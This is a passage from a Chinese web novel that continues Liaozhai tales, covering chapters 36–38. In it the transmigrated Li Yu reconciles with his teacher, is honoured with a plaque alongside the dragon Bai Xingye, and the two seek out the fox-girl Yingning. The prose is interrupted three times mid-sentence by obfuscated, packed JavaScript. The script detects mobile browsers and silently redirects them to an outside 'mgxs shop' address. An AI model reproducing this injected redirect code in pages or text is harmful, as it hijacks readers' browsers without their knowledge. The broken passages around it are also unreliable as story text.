他关上门,心里有些后悔,他是不是不该说这些话? 转过身来,门外除了白行野,还有端着粥的师娘,师娘眼眶通红,李钰不敢看她。 师娘反倒对他安慰似的笑笑,温言道:“好孩子,你先回吧,凡事还有我呢。” 李钰听师娘这么说,竟是鼻头一酸,他重重点头,告别了师娘。 目送李钰和白行野离开,师娘吸了吸鼻子,抬手擦了擦脸,这才开门端粥进去。 “粥热好了,刚好可入口,你快起来吃点。”她坐到床沿上温柔地说。 叶先生道:“先放一旁吧。” 师娘皱起眉,语带责备,“这怎么行?这些日子都喝药了,水米少进,身子如何受得了?” 叶先生看着妻子疲惫的脸色,放柔声音道:“先放着吧,丽娘。” 丽娘一愣,竟听他的话,先将粥放到一边,坐到床沿上。叶先生拉过她的手,果然如他学生说的那样,不只是粗糙,还有种田割草留下的划伤和在灶前受到的烫伤。他抬头仔细地看妻子,粗布麻衣没有一件首饰,妻子明明比他小六岁,却清晰能见到眼角的纹路。 “丽娘……”他喃喃喊道,对啊,他的妻子叫丽娘,是美丽的丽啊。 丽娘见他呆呆看着自己,有些不好意思,更有些担心,问道:“怎么了?是哪里不舒服吗?” 叶先生心里叹道,自己学生说得没错,修身却无意志,齐家却亏待家人,这样的自己居然大言不惭,妄谈“治国平天下”。何其可笑,何其可悲! 他第一次在妻子面前低下了秀才老爷高昂的头,声音哽咽不断道:“对不起,对不起,对不起……” 李钰回家后的几日闭门不出,他不但没能送仆人去叶先生家帮忙,还一连两天得罪了好朋友和自己的先生。他情绪低落,感觉这是他来到这个世界中最难熬的时期,他有些后悔,也有些迷茫,有的话是不是真的不应该说出口? 白行野和詹贵儿几次安慰无果,也只能随他去了。 天越来越冷了,李钰担心叶先生又不敢去看他,隔几天遣人去看看也送些东西,还好先生收下了。 终于有一天,詹贵儿过来找他说叶先生来了。 李钰一个鲤鱼打挺从床上坐起来,“叶先生来了?他好了?他来干什么?有没有叫我?” “你问题好多啊?不知道!”詹贵儿摇头晃脑,“叶先生是来找阿翁的,看起来瘦了好多啊,不过看他的脸色,现在应该是好多了。” 都能出门了,想必是好多了,也不知找他爹是干嘛的?李钰想了想,蹬上鞋就出了房门。 李钰一开始本来还想去见见叶先生,但是想到之前两人的对话,他又有些泄气。罢了,等之后问他爹探探口风先。他注意着正院的动向,远远地看着叶先生从李化书房里出来,虽然仍旧瘦弱,可已经行走自如,看来确实已经大好了。 等先生一走,李钰急忙去见了李老爷子,李化还颇为意外地看着他,“你先生刚走你就来了,是不是偷听墙角了?” 李钰撇撇嘴,“我可没有,我就远远地看着,叶先生跟你说什么了?” 李化也不卖关子道:“也不是什么大事儿,就是来请辞的。” “什么?先生不愿意认我这个学生了吗?”李钰欲哭无泪。 36.旌表 “这是说的什么话?人家叶先生是要去私塾教书了!说是自负一身才学,就算科举不中也想要投身教育,哪怕他往后不中举,但若能教出为能为国效力的好学生,也是他此生有幸。”李化又奇怪道,“叶先生如今跟换了一个人似的,说话倒是多了些坦诚。果然塞翁失马焉知非福,我看你们叶先生现在就挺好的。” 李钰听得一愣,“……是挺好的。” 李化看他呆呆的样子安慰道:“人家也说了,你之后也可以去私塾读书,还说你要觉得那样拘束,也欢迎你随时去找他向他请教,叶先生还是你的先生。他还让我向你道谢,真是客气,你去看他那不是学生该做的吗?” 萦绕在心头几日的烦忧一下子拨云见日,李钰彻底放下心来。 “要不儿子你也去私塾读书吧,你那几个好朋友不都在上学吗?一起读书,互帮互助多好。” “这个回头再说吧,我如今自己看书,也能理解呢。”李钰问完自己想问的问题,一听李化要安排读书的事,立马应付了两句就赶紧开溜了。 回了自己院中,李钰神清气爽地去找白行野,要与他出去大吃一顿,再喝个小酒。 白行野挑眉看他,“怎么?心情终于好了?” 李钰嘿嘿一笑,装模作样地作揖道:“近日来冷落白兄,请白兄恕罪。还请给小弟一个面子,让小弟做东,咱们痛快喝一番吧。” 白行野被他逗笑,自然答应。 李钰今天特别兴奋,出去吃完一轮还不够,硬拉着白行野晚上在家里继续喝酒。而结果就是第二天宿醉到晌午,醒来的时候只觉头昏脑胀浑身难受。 而此时屋外又传来了敲锣打鼓的声音,李钰坐在床上,脑袋懵懵的,我为什么要说又? 这时阿福来报,“少爷快起床吧,丁知县带了一帮衙役,抬着礼物亲自上门来了,要见你和白道长呢!” 李钰闻言丈二和尚摸不着头脑,但也迅速地洗漱了一番,换了身衣服到正厅去。 丁知县正笑呵呵地和李化聊天,白行野也在,看他那样子丝毫感受没有任何宿醉的状态。 李钰上前行礼:“拜见知县大人。” 丁知县和蔼地说:“李贤侄不必多礼,今日乃是来给你送礼的。” “抬上来。” 两个衙役将一块用红布盖着的长方形物件抬了上来。 “李贤侄和白道长,此前擒获白莲教妖人,营救数名被拐女子和孩童,如今案子已经了结。就连那小头目杨弘方也因此被查到线索,朝廷已将其抓获,你二人的义举可谓是大功一件!如今城门前已张贴红榜表彰你二位义举,另外特此颁发‘急公好义’牌匾以表嘉奖,这上面的题字还是知府大人亲笔所书呢。” 丁知县将红布掀开,只见牌匾上书“急公好义”四个大字,以及吴知府的落款和府衙公章。 李化脸已经乐得找不着北了,带着李钰和白行野道谢。又叫来人,当着丁知县的面就将牌匾挂到正厅上。 丁知县道:“今次来也是想来看看贤侄和白道长,果然都是一表人才,我儿还得多向二位学学。” 一番话说得李化心里更美,热情要留丁知县和众衙役吃饭。 “衙门内还有公干,就先告辞了,往后有时间再找李兄相聚。”丁知县笑言婉拒。 李化只得作罢,但这并不影响他激动的心情。大办宴席宴请周围看热闹的街坊们,搞得李钰本就是宿醉后的状态,还要被热情的大伙儿们,劝着喝了好几杯。还是白行野看不下去,帮他挡了数杯,李钰看着白行野帮他喝酒,心里直乐,原来这龙到了人间也逃不了酒桌文化。 一大群人直闹到晚上,李宅才终于恢复平静。 李钰站在正院里,看着那“急公好义”的牌匾,心里有些得意,更多的是欣慰。 “还在看呢?”白行野走了过来。 “怎么样?这块牌匾可有你的一大半的功劳,做好事的感觉还挺好吧?” 白行野没和他贫嘴,坦然地点了点头:“我本是抱着积累功德的目的下山,却没想到还能得到人族的嘉奖,原本那事对我而言不过举手之劳而已……积功德给人的感觉是挺不赖。” 李钰眼底含笑,自他们两个互相表明身份后,李钰才知道白行野其实很多时候表现得像是一个在“尘世”这所学堂里学习的孩子。虽然有他的不理解之处,可也通过不同的事情,体会到不一样的心得,渐渐也不可避免地沾染上了人味,识得了人情。 如他所言,一开始他确实有抱着积累功德的目的,可现在的他,无论是对他人还是对自己,大多只是白行野自己想去做罢了。就像行野每次老说自己爱多管闲事,可每一次他做的总是最多的。 李钰故意老气横秋地说:“不错,行野,你是条好龙。” 白行野只是好笑地摇了摇头,“看你这黑眼圈,今晚还是早些休息吧。” 李钰闻言忧心忡忡地摸了摸眼下,他还是很在意自己形象的,便跟白行野一起回西院了。 所谓人逢喜事精神爽,接下来的冬天,李钰也不怕冷,时常呼朋唤友出去游玩。因为叶先生也已振作起来,他和丁再昌也自然而然地和好了,经过那次小小的摩擦后,两人感情反而更好了。尤其是丁再昌也不知是自己回去想了很多,还是叶先生跟他说了什么,他一开始面对李钰还挺不好意思,见李钰待他如常才松快下来,待这个师兄也是更亲近了。 转眼便到了过年,上门拜年的人络绎不绝,那流水的各种活动更是没断过。今日摆宴、明日听曲儿、后日清谈,不胜枚举。 白行野也跟着去玩了几次,后来甩给李钰一句,“这些人怎么天天话这么多?”。便也不陪李钰,自行进山修炼了,承诺了李钰上百遍自己躲几天清净就回来,李钰才放他走。 如今春寒料峭,城外梅林开得正艳,漫山的红梅煞是喜人。吴志才邀请李钰等人一起去他那处梅岭的山斋赏梅,李钰欣然前往。 山斋位于半山腰上,正是赏景的好位置,当初小翠和元丰道别就在此处。那时候时节不对,只有光秃秃的梅树枝桠,一片凄然;而今却不同,盛放的梅花热烈烂漫,清雅的梅香萦绕鼻尖,确实是一副绝佳好景。 茶役在一旁伺候泡茶,几人围着碳炉烤火,赏景品茗,李钰也算有了点当代名士在山间雅集的体会,颇有些物我两忘,心旷神怡之感。 就是茶还没喝几口,耳畔连连传来的叹气声有些煞风景。 席方平素来是个耿介之人,最见不得别人唉声叹气的,不痛快说话。他虽是个读书人却有一股子江湖豪气,和丁再昌交好,如今跟李钰的关系也不错。 席方平将茶盏一推,道:“本是美景当前来此游赏,志才何故连连叹气,若是不欢迎我等,我等这就走!若是有何难处那便直说,我们能帮定然鼎力相助!” 吴志才忙解释道:“方平兄哪里的话,我特意邀的大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137459|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪里会不欢迎你们?” “那你怎么老是叹气?”李钰好奇地问。 吴志才几次张口,一脸的欲言又止。 席方平道:“都是知根知底的朋友,有何不好言说的?” 坐在他旁边的鄂秋隼也劝说:“吴兄你有何难处便说吧,说不定我们还能帮得上忙了。” 吴志才这才道:“其实此事与我无关,就是你们还记得我那个表弟吧?” 丁再昌说:“那个王子服,王秀才?” “是他,他呀,如今害了大病,已经到起不来床的地步了。” 其他人脸色立刻严肃了起来。 “这么严重?是生了什么病,大夫怎么说?” “这个病啊大夫治不了。”他无奈地说,“是相思病。” 众人听了都哈哈大笑起来。 鄂秋隼笑着说:“窈窕淑女君子好逑,你这表弟正当是知慕少艾的年纪,这有何可愁的?过些时日就好了。” “你们不也跟我那表弟见过几次吗?还不知道他啊?从小就是个痴人,也不常出来走动。虽然做文章绝慧,比在座诸位都更早考中秀才,可他母亲娇惯,向来不通人情。”吴志才急道,“以往读到喜欢的书便能不吃不喝痴看一整日,如今遇到了喜欢的人,那可是一门心思扑了上去,可又不知对方是谁,只能日日在家中卧床不起。” 丁再昌奇道:“还有这等痴人!” “这对方是多美的姑娘能让他如此思之如狂,怎么连对方是谁都不知道?”王彦好奇问道。 吴志才长叹一声,“说起来还都怪我,之前上元节拉着他一起到城外郊游,遇上的那名女子。他说那姑娘容华绝代,手执一枝梅花,与她的婢女一路言笑晏晏。当时他就呆了,跟着那女子亦步亦趋,走出好远!还是我的仆从怕他迷路,把他叫回来的。” 李钰一听,差点一口茶喷出来,什么痴人!这不痴汉吗?但他忍着没说话,继续听吴志才讲述。 “结果那天回去后人就病了,终日饮食不进,日渐消瘦。我那姑母日日以泪洗面,就找到我让我想想办法。” 席方平眼珠一转,脸上带着了然的笑意,调侃道:“你该不会又想出什么损招吧?” 吴志才闹了个大红脸,支支吾吾地说:“这……你们是不知道当时那场景!我去看他的时候,他就直挺挺地躺在床上,面色蜡黄,整个人都瘦了两圈。见我来了就流泪,才将实情告知,还从枕头底下摸出一枝枯梅,说是那天那个姑娘丢下的……我是觉着这样下去他熬不住。” 众人面面相觑,怎么一个相思成疾能这般夸张? 李钰更是无语,一个见色起意倒成了痴情了,简直没眼看。 众人心思各异,只有鄂秋隼是个老实的,继续问道:“那你出什么主意了?” “我能怎么办?他都这样了,我就骗他去打听那女子,找到人上门提亲就是。”吴志才声音突然大了起来,却带着心虚,“这么一说他果然来了精神,当时我就想着能让他早早痊愈,不让姑母那么操心,可谁知道……” 李钰猜道:“谁知道他就一直追问你那姑娘的下落?” “哎呀,李公子和白道长呆久了,都会断事了啊?”吴志才腆着脸道。 席方平摇摇头道:“你都说他是痴人了,还编这种没影的事哄他,此后必还有祸端,我看你之后怎么办!” 他这么一说,吴志才也垮下来了。 37.行野的回礼 显然吴志才没想那么多,当时只觉得把眼下糊弄过去就好了,他道:“可不是呢?后面又找我问那姑娘的下落,我就骗他说知道是哪家姑娘了,那是咱们家的远房表亲,这要通婚怕对方介意,得问过人家父母意见才行。” 丁再昌都无语了,“你可真能编,用这种理由拖着。” 如今民间表亲通婚依旧挺多,觉得是亲上加亲,但这时候也是有人提出伦理争议,认为与礼不合的,因此在此事上最好是双方提前沟通,不便贸然提亲。 这种理由说来是可以拖一段时间,甚至可以以此为理由拒绝那王秀才。可按方才吴志才对自家表弟的描述,恐怕不好轻易罢休。何况这事还是吴志才编的,现下连对方是谁都一无所知。 吴志才一脸的绝望,“如今三天两头就来催问我情况,我今天特意邀你们就是出来躲躲。但是一想到这事就闹心啊,再这样下去,我也要寝食难安,日渐消瘦了。” 活该!虽然你那表弟也不是个正常人,但人都病成那样了,还给人画饼又兜不了底,岂不是太不负责?李钰腹诽,悠然喝茶,只当看笑话。 “我看你就是该!谁让你这么编瞎话的,那不得缠着你吗?”席方平如此评价道,李钰跟着点头。 吴志才哭丧着脸,“这不叫你们来,也是想让你们帮我想想办法吗?方平兄你就不要再数落我了,我知道错了,都帮我想想怎么挽回吧?” 王彦也劝席方平,“算了方平,如果他真的这么喜欢那位姑娘,不如我们就一起帮他打听下。王生虽痴了点,也是秀才出身,如果对方家里同意,说不定还能成就一桩美好姻缘呢?” 又是这一套,李钰不置可否,他只觉得那姑娘可真是倒了霉了。他将一肚子想说的话咽回去,果然时代的错位,一些想法上的差异还是无法避免。 “那志才兄可有画像?”王彦看热闹不嫌事大。 “哪有什么画像,上元节那天出来游玩的姑娘们可多了,我哪知道他看上的是谁?只是我那表弟说那姑娘生得貌美又爱笑,脸上一直挂着甜甜的笑,打眼看去跟周围的人都不一样。”吴志才这般说。 丁再昌摇头,“这爱笑算什么特点,爱笑的多了去了。” 可这时的李钰已经都听不进去了,貌美又爱笑的女子,脸上一直挂着笑容……这在别处不算什么,在聊斋的世界中,还真是一个极具指向性的特点! 在《聊斋志异》中,若论爱笑没人不会想到那个角色,爱笑到让人觉得她憨痴的地步,笑容已经是这个角色的标志特点!难道真是——狐女婴宁? 李钰打断众人的谈话问道:“你说你那表弟叫什么?” “王子服啊,就是前年考上秀才的那个。” 王子服,原来真是那个王子服!谁能想到《聊斋志异》中著名篇章《婴宁》中的男主角,居然是自己朋友的表弟? 这一篇大概是狐狸和书生故事中最出名的一篇了吧?就算李钰只是粗略地翻过原著,早忘记具体情节,但结局爱笑的婴宁变得谨慎,被人故意逗都不笑,前后反差太大,多少留下些印象。 一个天真烂漫,还什么都不懂的女孩,明明爱笑爱玩,为了一个所谓的“归宿”,最后也如同这个时代众多的女子一样,困于后宅不再有纯粹的笑容。 李钰陷入对故事的回忆,沉默地坐在热谈如何找人的众人中间,显得那么的格格不入。 那日回去前,其他人都嘴上答应着回去定帮着打听打听。唯有李钰默默不语,当晚一夜难眠,如果这是在书中,角色的命运和姻缘是已成定局,王子服就算不通过吴志才帮忙,也是会找到婴宁的。可李钰来到了这个世界,与这里的人、甚至鬼妖有了交集,他明确地知道他们就如自己原来世界里面的人一样,都是真实鲜活的,有自己的性格、情绪,有各自的爱好和追求。 他的出现,曾改变了小倩和宁采臣的结局,那么婴宁呢?他能为她做些什么? “咦?哥哥你怎么还没睡?”房里忽然响起了詹贵儿的声音。 李钰就算习惯了詹贵儿的神出鬼没,大晚上的还是被吓了一跳,他定定神招手让小孩过来坐。 詹贵儿乖巧地坐到床上。 “你下次进来的时候能不能敲门?总是这样你哥我心脏受不了。”李钰带着无奈道。 詹贵儿歪着头说:“可一般这种时间你都睡了啊,我敲门不是吵醒你了?晚上又没人陪我玩,我就到处逛逛,每天晚上我都来看了你的,只是你之前都睡着了。” 李钰更加无语了,“行吧行吧,我问你,你觉得在李家过得怎么样?” “很好啊,比我以前住在兄嫂家好多了!阿翁会陪我玩,阿婆过年又给我烧了新衣服,你看我过年这身小红袍多好看!道长哥哥和小翠姐姐还教我修炼,哥哥你虽然最近老是不在家,但有时间的时候也会陪我玩,跟我一起读书,这样下去我就是不投胎也挺好的。”詹贵儿如数家珍,并给出最后总结。 “是吗?”李钰顿了顿,又说,“可你要是当初能上李珠儿的身,现在就跟我一样,可以做李家大少爷了。” 詹贵儿困惑地看了李钰一眼,“哥哥你今天是怎么了?虽然等洗清业债再去投胎的日子可能还很远,可我现在也挺好的,再加上你对我也还不错,所以李珠儿的身体让给你就让给你吧。” “哇,年纪小小,居然这么大方啊!”李钰听得感动,面上依旧逗小孩。 詹贵儿骄傲地一扬头,“那是,反正我以前确实也做了坏事,虽然是被迫的,但可能就是命中注定也该遭此一劫。现在靠保护家里人来赎罪,想来老天爷自有安排,说不定到了什么时候机缘就来了,我就能再入轮回了,就像六郎那样。” “好小子,书没白读!如今说话还挺有哲理。” “什么是哲理?” “呃,就是你我都看不懂的东西。”李钰聊完就赶人,“行了,我要睡了,你去别处玩吧。好好的,别吓着人啊。” “知道了知道了,我找守夜的张大哥玩去。” “去吧。” 送走了詹贵儿,李钰重新躺下。他合上双眼坚定地想,如果他的干预能够促成好的影响,那便就让他再多管闲事一次吧。 要想阻止王子服找到婴宁,李钰定是要在这之前先一步找到婴宁的位置才行,可要从何找起呢?李钰翻了个身,心里默默念着,行野,你快回来吧。 也不知是不是心有灵犀,第二天就在自家院子里见到白行野。 “行野,你回来了!”见到白行野正在庭院里跟詹贵儿说话,李钰惊喜地小跑了过去。 “你慢着点,急什么?”看着李钰这般开心的模样,白行野也跟着心情好。 “你去哪儿了?好些天没见到你了。” “不过是去最近的深山里面吸收点灵气修炼。”说完,白行野拉长语调,“顺便给你们带了点东西。” “你还带礼物了?”李钰看他两手空空,就猜是在乾坤袋中。 白行野笑道:“别急,进去看。” 三人一起坐到李钰房中,白行野果然拿出乾坤袋,打开袋子一阵金光闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143402|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,桌上就出现了几样东西。 詹贵儿惊呼:“好大的灵芝啊!” “嗯,这灵芝是给伯父伯母的,也可以挑一些给丁再昌和叶先生送过去。” 李钰看着桌上摆了大半桌的灵芝和山参,个头大不说,根部还带着新鲜的泥土。他拿手比了比,最大的比他两只手掌加起来都大! “这么大个,该不会是什么千年灵芝吧?” 白行野笑了笑,“没这么夸张,也就三四百年的。” 李钰咽了咽口水,“这也太大手笔了!” “这有什么?不是你说的朋友之间互相送礼是很正常的事吗?”白行野平淡道。 李钰却有些不好意思,“只是这也太贵重了。”嘴上这么说,他还是叫阿福去拿些好看的锦盒来,清理一下再装好。 “帮你装起来再送爹娘,看起来就更好了。” 白行野点点头说:“随你做主。” “那我呢?我没有礼物吗?”詹贵儿在旁边蹦蹦跳跳地闹。 白行野笑着点了一下他的额头,“送你东西你也用不了,不如再给你送点灵力吧。” 有灵力的话,詹贵儿就不挑了。 白行野转头又看的李钰,说道:“你也有礼物。” “不是已经有药材了吗?” “这些东西本就是送给伯父伯母的,你自然有别的。” 李钰来了兴趣,“是什么呀?” 白行野也不卖关子了,从胸前衣襟里又掏出了块绿色的石头。 “这是翡翠吗?”李钰将绿色的石头拿在手里看,他也不懂翡翠玉石,但是这块石头触手细腻,颜色饱满,皮壳也都被白行野处理过,碧莹莹润泽如水,这品相比他娘戴的都好,就算是外行人一看也知价值不菲,况且个头还不小。 “这要是拿出去卖,得值多少银子呀?”李钰爱不释手把玩了许久,又犹犹豫豫地开口:“行野,这有点太贵重了。” 白行野本来还含笑的脸霎时沉了下来,“为何?这对于我来说,不过就是山里面还算漂亮的石头罢了。我看有些公子哥身上就爱戴这玩意儿雕的小牌子,就给你带了一个大的,你也可以雕几个玩。” 感情你是一点都不知道这石头有多贵啊?李钰挠挠头,老实说道:“可是这在人们眼中确实很贵……” 白行野不开心地打断,“以前你让我收什么东西,我都收下了。不过送你一个石头而已,你就这样推三阻四,还是说你看不上我的礼物?” “好吧好吧,我收我收还不行吗?这么好的东西谁会看不上?”李钰忙告饶,难得行野如今竟通些相处之道,还知道礼尚往来了,自己还是不要辜负他这番心意了。 白行野这才露出一些好脸色。 李钰重新拿起翡翠,对着窗户透进来的光细细地看,边看边说:“让我好好挑个花样,到时候打出来我们一人一个。” “一人一个?”白行野一顿,嘴角悄然上扬,“也好。” 詹贵儿眼里满是羡慕,他也不懂这玩意儿的价值,但确实是块顶漂亮的石头。 李钰拍拍他的头说:“到时候我和你道长哥哥打了玉佩出来,有什么边角料的话留给你做个小吊坠行了吧?” “好啊好啊,我也想要!”詹贵儿也没在意自己只有小吊坠,反而很满意李钰的安排。 做好了礼物安排,李钰支走詹贵儿,将昨日听到的王子服一事跟白行野说了。他想着若要找婴宁,同时又不暴露自己早知她是狐女一事,或许还是得从见过她的王子服这边入手。 38.婴宁(一) 白行野听完事情经过,皱眉道:“要是想找人的话那也不难,不是说那王子服手中有那女子留下的枯梅吗?我可以根据那上面残留的气息去找找。可是,若找到那姑娘,谁知道王子服会不会给人家添麻烦?” 见白行野与自己想法一致,李钰一拍大腿,“正是如此!我便是想若你我能先行一步找到那名女子,避免他二人相见是最好的。那王子服这般作态我也不认可,仅仅是见了一面就要死要活,说的好听是一见钟情,说不好听就是见色起意还格外偏执!这样的人找上人家姑娘,我也不觉得对那姑娘有什么好的。” “可万一那姑娘也对他也有意思呢?你们人间女子不也有扔花扔手帕表达情意的吗?我虽也觉得这王子服奇怪,可你从中干涉,若毁了一桩良缘呢?”白行野问道。 李钰心想,可婴宁哪里是普通女子?万一是看那王子服不顺眼,扔花砸他呢?他又不能说自己知道这两人在一起后,婴宁也不会开心。 见李钰不说话,白行野又说:“其实可以验证一下他是否见色起意?找个比王子服遇到的那位姑娘更加漂亮的美人,他见了后知道人外有人,是不是也就放弃找原来那姑娘了?” 李钰眼珠子一转,这或许是个好主意,若王子服见到更漂亮的姑娘移情别恋,不就能断了他和婴宁的孽缘? “可是要找谁呢?万一他又对旁的姑娘念念不忘,又来这么一遭,他母亲怕是得哭死了。” 白行野狡黠一笑,“你忘了还有小翠?让她多找几个姐妹演演戏不就行了。” 李钰一下站起来,“对啊,还有这种办法!” “她那些狐妖姐妹们必定也都是绝色,乱花渐欲迷人眼,王子服多大能耐还能个个都娶?就算他想,也得让他知道天下没有这么好的事!”白行野继续道。 李钰站起身冲白行野行了一个夸张的大礼,“白兄,小弟佩服得五体投地。” 白行野笑骂道:“我这叫近墨者黑。” 李钰不以为意道,“那好,我们这就出门,我带你去王家,你悄悄潜进去,我们再去找那位姑娘。” 之前听吴志才说过,他这表弟家离他们家不远,到了吴志才家附近打听了一下,很快就找到王家,两人避着人群躲到附近的小巷中。 李钰做贼心虚,明明巷中无人,还是悄声说:“就在这里面,他们家就一个儿子,应当好找。你小心点,别被发现了。” 白行野觉得李钰实在小瞧他了,当即露了一手,清风一扫直接在李钰面前消失无踪。 “人呢?这又是什么术法,隐身还是闪现?”无人能回答他,李钰只能在小巷里耐心等着。 可没想到的是白行野这一去,还花了不少时间。李钰都急的从巷子里走出来,往王家门口张望了,看到没有什么动静,才又回巷子里等着。 再等了片刻,白行野如他消失时那样,又突然出现在的李钰眼前。 “你可算出来了,梅花呢?”李钰见白行野什么也没拿,“又装乾坤袋了?” 白行野脸色有些难看,“没有,我一进那王子服的房间,就见他躺在床上呆愣愣地看着手里的枯梅。那眼神……看得我浑身不舒服。” 李钰这才明白,白行野脸上的表情原来是嫌弃。 “本想等他睡着就将梅花取来,可他久久不睡,还是我施法才弄晕了他。可他那手将梅花攥的紧紧的,要是我真拿走了,他醒来后寻死觅活的,反而让我背上业债。便只将枯梅上的气息记住,这才出来的。” 李钰听得咋舌,这些所谓的“痴人”实在难评。 他拍拍白行野的肩,道:“辛苦了,回头请你吃好吃的。” 白行野这才神色稍霁。 “趁现在天色还早,我们去找一找那位姑娘吧!” 白行野噤声闭眼,仔细辨认了一番,才道:“离得不算远,应当在城外三四十里处。” 趁热打铁,说走就走,两人一出城,白行野就化出龙身,带着李钰往南山飞去,不过片刻功夫就飞出三十多里。 城外的南山这边,丘陵环绕,山路分支也多,都是些被草木遮挡的小径,只能回到地面找路了。 处在山林中,李钰也不识路,只能看向白行野。白行野抬手指向一条极其狭窄的小道,“走这里。” 看着那隐藏在草木缝隙间的小路,李钰硬着头皮跟在白行野身后走了过去。乱糟糟的灌木和树枝挂在衣服上,看得李钰心疼。好不容易才从这条小路中走了出来,迎面而来的是位于山谷间的一处开阔地,原来在灌木和树林的掩盖下,后方竟是一处小小的村落。村中坐落着数间草房,却并不破败,反而有种世外桃源般的安静和雅致。 两人往村中走去,见一户人家门前种着柳树,柳影婆娑,随风摇曳。从院墙内伸出梅枝和早春的桃花,另有翠竹夹杂其中,墙头之上别有一番热闹景象,想必正是这家人的花园。 白行野笃定地说:“就是这里。” 到了人家房前,李钰却有些傻眼了,他以为婴宁是个狐妖,住处大概是山洞之类的,结果没想到看起来是这么正经的人家。他不知是第几次后悔,以前怎么没好好读《聊斋志异》,这种只记得断断续续情节的感觉真不好。 来都来了,他俩也不是那等翻墙偷窥之人,李钰上前大大方方地敲了敲门。 不多时就有一女子来开门,可这开门的小姑娘看起来年龄也太小了,也就十三四岁的样子,虽然长得也俏丽,可这王子服也太不是人了吧! “你们找谁呀?”那小姑娘问他们。 李钰还在震惊之中,没有回过神来,只听得里面又传来一声呼唤,“小荣,谁来了呀?” 两人循声望去,一名头上簪着杏花的姑娘走了过来,那姑娘面带甜笑,长的是粉面桃腮,杏眼明眸。她从花园中走出来,身后灼灼桃花映着她娇美的面庞,李钰可算是明白了何谓“人面桃花相映红”,只一眼他便知道,这才是婴宁。 “姑娘,来了两个不认识的访客。”那小女孩回答道。 李钰拱手施礼道:“我兄弟二人路过这附近,一不小心迷了路,想借贵地歇息一下,讨口水喝。” 婴宁面上含笑,上下打量二人,对叫小荣的婢女道:“让他们进来吧,去给二位公子上茶。” 小荣应了一声,便去准备了。婴宁则热情地领着二人进了堂屋,屋内居然还有其他人在,一名老妇人正坐在这屋里,她见婴宁带了人来,也有些意外。 听婴宁道明二人来意,老妇人看了看外面的天色,道:“今日也不早了,二位想要出山恐怕就要走到天黑了。如不嫌弃,便在寒舍留宿一晚,明日再走大路出去吧。” 原来还有大路呢?行野果然是有点路痴属性在身上。李钰颇觉好笑,面色未动,婉拒道:“不敢劳烦老夫人,我们休息片刻,喝点水就走。” 本就是来认认地方和人,以防王子服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147686|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找过来的。如今已经知晓,自是不必多留。 老夫人也没再坚持挽留,这时小荣端来茶水,李钰礼貌谢过,茶水一入口差点没让他当场喷出来。也不知道这用的是哪年的陈茶?一股子霉味。 再看白行野稳坐如山,那茶水他一口没动。 好你个白行野!李钰咬牙切齿瞪着白行野,眼角余光却注意到婴宁在看他。 这姑娘从刚才开始就很稀奇似的,眼神肆无忌惮地在两人身上打量,见李钰回望过来,她笑着道:“小女婴宁,二位公子贵姓?” 李钰道:“在下李钰,这是我的朋友白行野。” “你二人的名字真好听,长得也那般好看。”婴宁大方评价道。 此言一出,李钰闹了个大红脸,这姑娘怎么第一次见面,夸人就这么直白的?李钰自觉脸皮还挺厚,都有点招架不住。可一看人家的眼神表情,那般的纯然天真,丝毫没觉得自己说话有何不妥。 “咳咳,婴宁。”老夫人轻声呵斥,婴宁不在意地冲老夫人笑笑,老夫人摇摇头也不再多言。 一旁的李钰默默观察,也是婴宁天然纯粹,又少接触外人,她说这番话,大概也只是纯粹的欣赏,并无他意,这一点倒和小翠有些相似之处。 “二位公子是附近府县里的人吗?”婴宁见二人尴尬不搭话,仍自顾自地聊了起来。 “是的。” 婴宁露出向往之色,“我很少进城,你们住在城里,一定每天都很热闹吧?” 李钰想了想道:“算是热闹,可一到你们这里,感觉像进入世外桃源一般,和城里比起来也别有一番景象。” “李公子说话可真有意思,原来我们都在互相羡慕对方的住处?不过我这里确实也挺好,我的花园打理得可好了,你们难得来,随我去看看吧!” 婴宁说着就起身往外走,两人面面相觑,见老夫人也没阻止,只得跟她来到小花园中。 方才在墙外就已体会到一点早来的春色,如今到了花园里,才发现除了梅花、桃花,院子里还种满了其他各色花卉,也不知婴宁是怎么种的?如今虽算初春,但寒意未尽,可她院子里的花,却是朵朵都早早盛放,竞相争艳。就连他们两个男人都觉得眼花缭乱,春色迷人。 李钰心中感叹,这是怎样一个种花天才啊。 “婴宁姑娘,你的花园打理得真好,比我家专门找花匠打理的都还好。”李钰夸赞道。 婴宁听了这话,眼神更亮了,“你家也有花园?” “有啊,只是不如你这里花团锦簇。”李钰不吝称赞,“你说城里面人多热闹,你这处的花可都开得比城里热闹多了。” 婴宁噗嗤一声笑了,“李公子真会说话,何不也带我去你家花园看看?” 